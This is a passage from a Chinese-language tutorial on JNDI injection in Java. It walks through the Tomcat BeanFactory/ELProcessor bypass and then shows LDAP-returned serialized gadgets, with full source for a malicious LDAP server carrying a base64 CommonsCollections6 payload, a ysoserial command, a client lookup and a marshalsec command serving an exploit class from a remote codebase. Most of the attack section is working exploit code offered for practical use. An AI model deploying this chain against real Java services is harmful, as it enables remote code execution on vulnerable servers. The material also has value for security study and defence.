跟进BeanFactory.getObjectInstance,会判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例

JNDI注入 - 图26

接着获取Bean类为javax.el.ELProcessor后,实例化该类并获取其中的forceString类型的内容,其值是我们构造的x=eval内容:

JNDI注入 - 图27

继续往下调试可以看到,查找forceString的内容中是否存在”=”号,不存在的话就调用属性的默认setter方法,存在的话就取键值、其中键是属性名而对应的值是其指定的setter方法。如此,之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!之后,就是获取beanClassjavax.el.ELProcessor类的eval()方法并和x属性一同缓存到forced这个HashMap中

JNDI注入 - 图28

接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素

JNDI注入 - 图29

获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行恶意的EL表达式。

总结

  • 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用,已知的类是org.apache.naming.factory.BeanFactory
  • 由于org.apache.naming.factory.BeanFactory类的getObjectInstance()方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor类;
  • ResourceRef类实例分别添加了两次StringRefAddr类实例元素,第一次是类型为forceString、内容为x=eval的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory类的getObjectInstance()方法源码发现,程序会判断是否存在=号,若存在则将x属性的默认setter方法设置为我们eval;第二次是类型为x、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x属性关联起来,x属性的setter方法是eval(),而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor类的eval()函数执行恶意表达式从而达到攻击利用的目的

绕过高版本JDK限制:利用LDAP返回序列化数据,触发本地Gadget

LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的**javaSerializedData属性值**不为空,则客户端的**obj.decodeObject()**方法就会对这个字段的内容进行反序列化
如果服务端ClassPath中存在反序列化漏洞多功能利用Gadget如CommonsCollections库,那么就可以结合该Gadget实现反序列化漏洞攻击。

利用举例

生成POC

假设目标系统中存在着有漏洞的CommonsCollections库,使用ysoserial生成一个CommonsCollections的利用Payload

  1. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "open -na Calculator" | base64

LDAP Server
  1. package org.example;
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  3. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  4. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  5. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  6. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  7. import com.unboundid.ldap.sdk.Entry;
  8. import com.unboundid.ldap.sdk.LDAPException;
  9. import com.unboundid.ldap.sdk.LDAPResult;
  10. import com.unboundid.ldap.sdk.ResultCode;
  11. import com.unboundid.util.Base64;
  12. import javax.net.ServerSocketFactory;
  13. import javax.net.SocketFactory;
  14. import javax.net.ssl.SSLSocketFactory;
  15. import java.net.InetAddress;
  16. import java.net.MalformedURLException;
  17. import java.net.URL;
  18. import java.text.ParseException;
  19. public class App {
  20. private static final String LDAP_BASE = "dc=example,dc=com";
  21. public static void main (String[] args) {
  22. String url = "http://127.0.0.1:8888/#Exploit";
  23. int port = 1389;
  24. try {
  25. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  26. config.setListenerConfigs(new InMemoryListenerConfig(
  27. "listen",
  28. InetAddress.getByName("0.0.0.0"),
  29. port,
  30. ServerSocketFactory.getDefault(),
  31. SocketFactory.getDefault(),
  32. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  33. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
  34. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  35. System.out.println("Listening on 0.0.0.0:" + port);
  36. ds.startListening();
  37. }
  38. catch ( Exception e ) {
  39. e.printStackTrace();
  40. }
  41. }
  42. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  43. private URL codebase;
  44. /**
  45. *
  46. */
  47. public OperationInterceptor ( URL cb ) {
  48. this.codebase = cb;
  49. }
  50. /**
  51. * {@inheritDoc}
  52. *
  53. * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
  54. */
  55. @Override
  56. public void processSearchResult (InMemoryInterceptedSearchResult result ) {
  57. String base = result.getRequest().getBaseDN();
  58. Entry e = new Entry(base);
  59. try {
  60. sendResult(result, base, e);
  61. }
  62. catch ( Exception e1 ) {
  63. e1.printStackTrace();
  64. }
  65. }
  66. protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
  67. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  68. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  69. e.addAttribute("javaClassName", "Exploit");
  70. String cbstring = this.codebase.toString();
  71. int refPos = cbstring.indexOf('#');
  72. if ( refPos > 0 ) {
  73. cbstring = cbstring.substring(0, refPos);
  74. }
  75. // Payload1: 利用LDAP+Reference Factory
  76. // e.addAttribute("javaCodeBase", cbstring);
  77. // e.addAttribute("objectClass", "javaNamingReference");
  78. // e.addAttribute("javaFactory", this.codebase.getRef());
  79. // Payload2: 返回序列化Gadget
  80. try {
  81. e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABNvcGVuIC1uYSBDYWxjdWxhdG9ydAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
  82. } catch (ParseException exception) {
  83. exception.printStackTrace();
  84. }
  85. result.sendSearchEntry(e);
  86. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  87. }
  88. }
  89. }

Client
  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class Client {
  5. public static void main(String[] args) throws NamingException {
  6. //初始化环境
  7. InitialContext init = new InitialContext();
  8. init.lookup("ldap://127.0.0.1:1389/Exploit");
  9. }
  10. }

JNDI注入 - 图30

Debug分析

调用栈

JNDI注入 - 图31

前面的函数调用链都是不同类lookup()函数之间的调用,com.sun.jndi.ldap.LdapCtx类的c_lookup()函数中会调用到com.sun.jndi.ldap.Obj类的decodeObject()函数进行解码对象的操作。

跟进去,先调用getCodebases()函数从JAVA_ATTRIBUTES中取出索引为4即javaCodeBase的内容,由于本次并没有设置这个属性因此返回null即下面Variables框中的var1(slot_2)变量;然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容,这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流,对应的是下面Variables框中的var2 (slot_1)变量;这里var1(slot_2)变量为null,传入getURLClassLoader()函数调用后返回的是AppClassLoader即应用类加载器;再往下就是调用deserializeObject()函数来反序列化javaSerializedData的对象字节码

JNDI注入 - 图32

其中,静态变量JAVA_ATTRIBUTES的内容如下:

JNDI注入 - 图33

建议

实战中可以使用marshalsec方便的启动一个LDAP/RMI Ref Server:

  1. java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
  2. Example:
  3. java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://8.8.8.8:8090/#Exploit 8088

参考